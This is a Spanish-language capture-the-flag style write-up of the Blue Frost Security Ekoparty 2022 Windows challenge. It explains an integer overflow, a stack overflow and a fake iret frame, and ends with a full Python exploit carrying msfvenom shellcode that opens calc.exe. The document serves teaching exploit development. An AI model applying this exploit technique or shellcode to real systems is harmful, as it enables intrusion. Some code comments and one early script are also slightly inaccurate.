kd❯ g

fffff803'00000000 EB FE jmp short loc_HackinG

~ ./priv

                    Windows Exploitation Challenge - Blue Frost Security 2022
                  

						Hola y bienvenidos a todos los lectores.

						Como todos los años participo de Ekoparty Conference e intento absorber lo mas que pueda en conocimiento de los speaker y de personas que voy conociendo en el camino. Por esta razón, muchas veces me pierdo de divertidos retos y termino resolviéndolos después de tiempo.

						Perdiendo la oportunidad de algún tipo de recompensa jeje. Pero bueno lo importante es resolverlo, aun así, se gana experiencia.

						Entonces para ya comenzar con lo importante que es resolver el reto de este año, primero pasaremos por los requisitos impuestos por Blue Frost Security Labs en Ekoparty 2022.

						Requisitos:

						1.	Solo se aceptarán soluciones de Python sin bibliotecas externas

						2.	El objetivo es ejecutar la Calculadora de Windows (calc.exe)

						3.	La solución debería funcionar en Windows 10 o Windows 11

						4.	La continuación del proceso es deseable (no obligatoria)

						Descarga de la aplicación:

						https://static.bluefrostsecurity.de/files/lab/bfs-eko2022.zip

Protecciones

						Las protecciones de un binario son aplicadas para evitar que una posible explotación sea de manera trivial, aumentando la dificultad de explotación.

						Utilizamos la herramienta de winhecksec.exe, el cual nos muestra que el binario tiene habilitado la protección ASLR, DEP y GS que no se visualiza, pero reversando se puede validar.

								ASLRCambia las direcciones de memoria en cada ejecución
DEPEvita ejecutar shellcode en el Stack
GSDetecta desbordamientos que sobrescriben el retorno

Análisis

						Lo primero es lo primero, así que vamos a ejecutar el binario y vemos que levanta un servicio socket en algún puerto.

						Utilizamos Process Hacker y en la pestaña Network filtramos por el nombre del binario y vemos que el servicio corre en el 31415. Esta es la manera mas fácil de identificar el puerto. Otra forma seria reversando y ver los parámetros de la función listen(), pero para que nos vamos a complicar.

						Ya con esto creamos la primera estructura del script para que se comunique con el servicio. Este lo utilizaremos mas adelante en el análisis dinámico, por ahora vamos a ir reconociendo el flujo de forma estática.

#!/usr/bin/python
# Code By s1kr10s
import socket

server = "127.0.0.1"
port = 31415

try:
    junk = A" * 1000

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((server, port))
    s.send(junk)
    s.recv(1024)
    s.close()

except Exception as e:
    print(e)
						
						Viendo el código identificamos primeramente la función main(), donde aquí se ejecutan las siguientes acciones que levantan el servicio y realiza algunas comprobaciones de los datos enviados.

						Lo mas importante de aquí es cmp_msg_hello() que se encarga de comparar los bytes recibidos con una constante llamada “Hello”, si es así sigue el camino correcto al send() para responder con un “Hi” mediante la conexión socket y poder llegar a la función packet_filter().

						Ahora vemos las rutinas de packet_filter(), es aquí donde se encuentran las vulnerabilidades y donde hay que pensar.

						Cuando entra a la función se ejecuta una especie de memset() sobre el buffer de virtualAlloc(), modificando los bytes existentes por unos definidos por el binario (5050505050… y CF58585858…) los que tienen un propósito.

						El segundo recv() recibe una especie de cabecera de paquete que será utilizado para distintas validaciones como tamaño, cookie y el tipo.

						1. size valida que la cabecera sea menor o igual a 11 bytes de tamaño

						2. cookie valida que se envié la cadena Eko2022

						3. type valida que se envié el carácter “T”

						4. Integer Overflow es un valor que pertenece a la cabecera llamado size y debe ser menor a 0x0F00 que en decimal es 3840

						Aquí podemos ver que existe una comparación con signo, el cual nos permite explotar la vulnerabilidad de Integer Overflow enviando un valor negativo que pronto será interpretado como positivo.

						Entonces si en el valor size de la cabecera enviamos 0xFFFF esto será transformado a 0x0000FFFF el cual es negativo y menor a 0x0F00 logrando la evasión de comparación.

						Cuando se logra la evasión entramos a llama otro recv() pero con un tamaño que controlamos, en este caso seria el word del valor negativo 0x0000FFFF y los bytes serán copiados a un buffer ubicado en el heap.

						Seguido se hace una llamada a la función renombrada como copy_data_heap_to_stack() con los argumentos.

								lenEs el tamaño devuelto por el recv()
bufEs el buffer de heap
cmdLineEs un buffer de stack de 3840 bytes

						Dentro de copy_data_heap_to_stack() tenemos una rutina que realiza una copia byte a byte desde el buffer heap al buffer stack, mediante un ciclo for() utilizando como size el 0xFFFF, provocando un desbordamiento de buffer de stack. Ahora lo importante es poder controlar registros o variables de stack que nos permitan seguir con la ejecución, para eso es necesario enviar bytes de tamaño controlado para poder modificar el valor del tipo y poder llegar a winExec().

						Antes de llamar a winExec() se realiza un desplazamiento dentro del buffer y esos bytes son movidos al registro rax el que pisa la dirección de winExec(), por lo tanto no se podrá utilizar la función para ejecutar código. Por ultimo se realiza la llamada.

						Si recuerdan en la función memset() se modifican los bytes del buffer con 5050505050 y CF58585858. Ahora con el desplazamiento dentro del buffer mas 7 bytes, nos posicionamos justo en los 5050505050. Entonces cuando se realiza la llamada a winExec() llegamos a los 5050505050, los que se transforman en “pop rax” permitiendo hacer pop al stack y tomar el control del retorno que serian nuestras A’s con iret.

						Para esto veremos los pop rax y validamos con la información del stack.

						Con el siguiente código se comprueba los explicado anteriormente.

#!/usr/bin/python
# Code By s1kr10s
import socket
import struct
from sys import exit

server = "127.0.0.1"
port = 31415

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((server, port))
    
    print("[+] Sending Handshake (Hello)")
    hello = "\x48\x65\x6c\x6c\x6f\x00"                  # invalid handshake
    s.send(hello)
    welcome = s.recv(3)
    
    if len(welcome) == 3:
        print("   [-] Response of Hello is: %s" % welcome)
    
        header  = "\x45\x6b\x6f\x32\x30\x32\x32\x00"   # wrong cookie value
        header += "\x54"                               # invalid packet type
        header += "\xff\xff"                           # invalid packet size
        print("   [-] Header Length %d" % len(header))
        
        size  = 3840                            # size 0x0f00
        data  = struct.pack("<I", 0x41)         # return iret (EIP)
        data += "\x90" * (size - len(data))     # junk bytes
        data += "\x58"                          # type - cmp eax, 58h ; 'X'
        data += "\x90" * 7                      # offset to XXXXXXX
        print("   [-] Data Length %d" % len(data))
                
        print("[+] Sending Payload")
        payload = header + data
        s.send(payload)
        recibe2 = s.recv(20)
        print("   [-] Response: %s" % recibe2)
        
    else:
        print("I'm Sorry I don't know him")
        exit()
        
except Exception as e:
    print(e)
						
						Ahora ya estamos casi al final del reto, pero para lograrlo hay que solucionar el problema de iret ya que demás de la dirección de retorno (EIP/RIP) ubicada en el stack, también necesita otros argumentos.

						El iret es una instrucción que generalmente se llama desde el código del kernel antes de regresar a un proceso de espacio de usuario.

						Referencias sobre iret y segmentación Intel:
https://www.inventati.org/nophear/download_tesi.pdf
http://jamesmolloy.co.uk/tutorial_html/10.-User Mode.html
https://nixhacker.com/segmentation-in-intel-64-bit
https://www.malwaretech.com/2014/02/the-0x33-segment-selector-heavens-gate.html

						Por hora lo que debemos lograr hacer es un Fake iret Frame en el stack, y debe contener los siguientes parámetros.

								EIPThe instruction to continue execution at – the value of EIP
CSThe code segment selector to change to
EFLAGSThe value of the EFLAGS register to load
ESPThe stack pointer to load
SSThe stack segment selector to change to

						• EIP es la dirección del inicio del buffer ubicado en el heap en 0x10000000 donde tenemos nuestra data. Pero le daremos un desplazamiento para evitar cualquier tipo de problema quedando en 0x10000014.

						• CS indexa la Global Descriptor Table (GDT) con su descriptor code/data en kernel (ring0) y user (ring3).

						• EFLAGS lo podemos obtener con windbg o x64dbg en el registro afl.

						• ESP es una dirección en medio del buffer ubicado en el heap, pero debe estar por debajo de la shellcode y tampoco debe ser el final como 0x10000600.

						• SS indexa la Global Descriptor Table (GDT) con su descriptor code/data en kernel (ring0) y user (ring3).

						Una manera fácil de obtener el valor de EFLAGS es mediante el registro efl, que se puede visualizar con el depurador windbg o IDA.

						Ahora vamos a calcular el valor de CS y SS, ya que son los mas difícil de obtener.

						Cuando se configura el GDT se configuran 5 selectores. Estos índices entre Kernel y usuario tiene un tamaño de 16 bytes y entre code y data por cada modo es de 8 bytes, por lo que los índices del selector son:

						• 0x00: Null Descriptor

						• 0x10: Kernel Code Segment (Kernel Mode - ring0)

						• 0x18: Kernel Data Segment (Kernel Mode - ring0)

						• 0x20: User Code Segment (User Mode - ring3)

						• 0x28: User Data Segment (User Mode - ring3)

						Entonces si queremos pasar a modo usuario (ring3) debemos configurar el RPL (Requested Privilege Level) o CPL (Current Privilege Level) que en este caso es 3. Para esto nuestro selector de "User Code Segment" será [0x20+0x3=0x23] y el selector de "User Data Segment" será [0x28+x03=0x2b].

						Ahora el gran problema que tenemos con el calculo de "User Data Segment", es que el 0x2b es modificado por un 0x00 al entrar a la función copy_data_heap_to_stack() y no se almacenara en el Stack, por ende debemos utilizar otro valor.

						Para solucionar este problema se debe identificar un valor que pertenezca a data con permisos de lectura y escritura (Data RW) de manera que usando el comando en windbg dg 0x53 podemos ver la información.

						Con todo armado ya podemos ejecutar y observamos como queda la estructura de parámetros para iret en el stack.

						Valor de segmentos previo al salto iret CS 0x33:

						Valor de segmentos post al salto iret CS 0x23:

						Por último, antes de ejecutar la shellcode solo nos quedaría restaurar el registro CS a 0x33 para volver a la arquitectura de 64-bits ya que al ejecutar iret nos deja en 32-bits. También restaurar el Stack que por suerte RCX apunta a ahí.

						Podemos visualizar previo a la ejecución de iret como todo se mantiene a 64 bit.

						Ahora después de ejecutar iret todo cambia a 86 bits hasta los registros.

						Para esto solo debemos agregar algunos bytes al inicio de la shellcode, así cuando se realice el salto se pueda restablecer a los valores antiguos y ejecutar la shellcode de 64 bits sin problemas.

						Al usar un salto lejano como jmp 0x33:0x1000001C se especificará el "User Code Segment" con el valor 0x33, volviendo a 64 bits (Mas información aquí). Por utlimo los siguientes opcodes "\x48\x89\xCC" que seria un "MOV RSP, RCX" para restablecer el Stack. (Calcular opcodes online)

Explotación

						El siguiente script es el exploit final en Python.

#!/usr/bin/python
# Code By s1kr10s
import socket
import struct
from sys import exit

server = "127.0.0.1"
port = 31415

restoreCS  = b"\xea\x1c\x00\x00\x10\x33\x00"  # Restaura el valor de CS a 0x33 JMP 0x33:0x1000001c
restoreRSP = b"\x48\x89\xCC"                  # Restaura el viejo stack pointer con un "mov rsp, rcx"

# msfvenom -a x64 --platform Windows -p windows/x64/exec cmd="calc" -f python -v shellcode
shellcode = b""
shellcode += b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41"
shellcode += b"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48"
shellcode += b"\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20"
shellcode += b"\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31"
shellcode += b"\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20"
shellcode += b"\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41"
shellcode += b"\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0"
shellcode += b"\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67"
shellcode += b"\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20"
shellcode += b"\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34"
shellcode += b"\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac"
shellcode += b"\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1"
shellcode += b"\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58"
shellcode += b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
shellcode += b"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
shellcode += b"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a"
shellcode += b"\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41"
shellcode += b"\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9"
shellcode += b"\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00"
shellcode += b"\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00"
shellcode += b"\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5"
shellcode += b"\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48"
shellcode += b"\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75"
shellcode += b"\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89"
shellcode += b"\xda\xff\xd5\x63\x61\x6c\x63\x00"

try:
    p32 = lambda x: struct.pack('<I', x);
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((server, port))
    
    print("[+] Sending Handshake (Hello)")
    hello = "\x48\x65\x6c\x6c\x6f\x00"                  # invalid handshake
    s.send(hello)
    welcome = s.recv(3)
    
    if len(welcome) == 3:
        print("   [-] Response of Hello is: %s" % welcome)
    
        header  = "\x45\x6b\x6f\x32\x30\x32\x32\x00"    # wrong cookie value
        header += "\x54"                                # invalid packet type
        header += "\xff\xff"                            # int overflow - invalid packet size
        print("   [-] Header Length %d" % len(header))
        
        '''
        Se explota un Integer Overflow, que permite evadir la condicion de "cmp eax, 0F00h" y 
        asi mismo modificar el size para el recv(), permitiendole recibir mas bytes.
        '''
        
        size  = 3840                            # size 0x0f00
        data  = p32(0x10000014)                 # return iret (EIP)
        data += p32(0x23)                       # user code segment (CS)
        data += p32(0x246)                      # valid EFLAGS save register
        data += p32(0x10000500)                 # user stack pointer(ESP)
        data += p32(0x53)                       # user stack segment (SS)
        data += restoreCS                       # restaura el valor de CS a 0x33
        data += restoreRSP                      # restaura el viejo stack pointer "mov rsp, rcx"
        data += shellcode                       # shellcode
        data += "\x90" * (size - len(data))     # junk bytes
        data += "\x58"                          # type - cmp eax, 58h ; 'X'
        data += "\x90" * 7                      # desplazamiento a los XXXXXXX del buffer convertidos a pop rax
        print("   [-] Data Length %d" % len(data))
        
        '''
        Se explota un Stack Buffer Overflow, donde se envian 3840 bytes seguido de una caracter "X"
        para evadir la comparacion de "type" y 7 nop que son utilizados como desplazamiento
        para llegar a las X's que fueron modificadas en el buffer por la funcion packet_filter(). 
        
        Luego con el overflow se explota un Type Confusion, donde nos permite controlar el flujo 
        corractamente, para llegar a ejecutar la llamada a WinExec(), pero ahora apuntando a las X's que
        son interpretadas como "pop rax" en memoria, las que ayudan a controlar el retorno de iret.
        '''
        
        print("[+] Sending Payload")
        payload = header + data
        s.send(payload)
        recibe2 = s.recv(20)
        print("   [-] Response: %s" % recibe2)
        
    else:
        print("I'm Sorry I don't know him")
        exit()
        
except Exception as e:
    print(e)